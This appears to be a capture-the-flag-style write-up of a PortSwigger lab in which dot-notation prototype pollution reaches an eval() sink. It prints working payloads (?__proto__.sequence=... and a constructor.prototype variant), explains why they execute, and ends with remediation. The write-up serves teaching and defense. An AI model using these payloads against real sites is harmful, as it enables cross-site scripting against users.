PortSwigger — 2026.01.09

DOM XSS via an Alternative Prototype Pollution Vector

PortSwigger Prototype Pollution to DOM XSS via eval() medium

Overview

Lab: DOM XSS via an alternative prototype pollution vector Platform: PortSwigger Web Security Academy Vulnerability: Client-side Prototype Pollution -> DOM XSS via eval() Difficulty: Practitioner


Vulnerability Analysis

The Pollution Source - Dot Notation Parser

This lab uses a jQuery $.parseParams plugin that parses URL parameters using dot notation for nested objects:

// Simple object:    ?var.length=2&var.scope=123     returns {var: {length: "2", scope: "123"}}
// Nested objects:   ?my.var.is.here=5               returns {my: {var: {is: {here: "5"}}}}

The key difference from previous labs:

  • Previous labs: ?__proto__[property]=value (bracket notation)
  • This lab: ?__proto__.property=value (dot notation)

The Sink - eval() Injection

async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}

Key Observations

  1. manager has no own sequence property when created
  2. manager.sequence is read before being set: let a = manager.sequence || 1
  3. String concatenation occurs: manager.sequence = a + 1 (if a is a string, this concatenates)
  4. manager.sequence is injected into eval() without sanitization

The Attack

Pollution Vector

Since the parser uses dot notation:

?__proto__.sequence=PAYLOAD

This sets Object.prototype.sequence = PAYLOAD

Tracing the Injection

  1. Pollute: Object.prototype.sequence = "1)-alert()}//"
  2. let a = manager.sequence || 1 -> a = "1)-alert()}//" (from prototype)
  3. manager.sequence = a + 1 -> "1)-alert()}//" + 1 -> "1)-alert()}//1" (string concatenation)
  4. Eval string becomes:
    if(manager && manager.sequence){ manager.macro(1)-alert()}//1) }
    

Why This Executes

manager.macro(1)-alert()}//1) }
  • manager.macro(1) -> returns undefined (macros object is empty)
  • undefined - alert() -> JavaScript evaluates alert(), then computes NaN
  • } -> closes the if block
  • //1) } -> commented out (prevents syntax error)

Solution

Payload

?__proto__.sequence=1)-alert(document.domain)}//

Why the } is Required

Without the }:

if(manager && manager.sequence){ manager.macro(1)-alert()//1) }

The // comments out 1) } but the if block is never closed -> syntax error.

With the }:

if(manager && manager.sequence){ manager.macro(1)-alert()}//1) }

The if block is properly closed, remaining junk is commented out -> valid syntax.


Alternative Vector: constructor.prototype

The constructor.prototype vector also works with this parser:

?constructor.prototype.sequence=1)-alert(document.domain)}//

Traversal: params.constructor -> Object -> Object.prototype -> sequence


Parser Comparison

Parser Type Pollution Syntax Example
Bracket notation (deparam) __proto__[prop] ?__proto__[sequence]=x
Dot notation (parseParams) __proto__.prop ?__proto__.sequence=x
Either constructor.prototype.prop Works with both

Key Takeaways

  1. Parser syntax matters: Know whether the target uses brackets [] or dots . for nesting
  2. eval() is dangerous: Any user-controlled data concatenated into eval is a critical vulnerability
  3. Type coercion enables injection: string + number = string concatenation, allowing payload to remain intact
  4. Syntax completion is crucial: Must properly close blocks/statements before commenting out trailing code
  5. Alternative vectors exist: constructor.prototype works in parsers that might filter __proto__

Remediation

  1. Never concatenate user input into eval(): ```javascript // Bad eval(‘manager.macro(‘ + manager.sequence + ‘)’);

// Better - avoid eval entirely if (manager && manager.sequence) { manager.macro(manager.sequence); }


2. **Sanitize prototype pollution sources**: Filter `__proto__`, `constructor`, `prototype`

3. **Initialize all expected properties**:
```javascript
window.manager = {
    params: $.parseParams(...),
    sequence: 1,  // Explicit initialization
    macro(property) {...}
};
  1. Use hasOwnProperty checks before reading potentially polluted properties
#prototype-pollution #dom-xss #eval #dot-notation #portswigger #webapp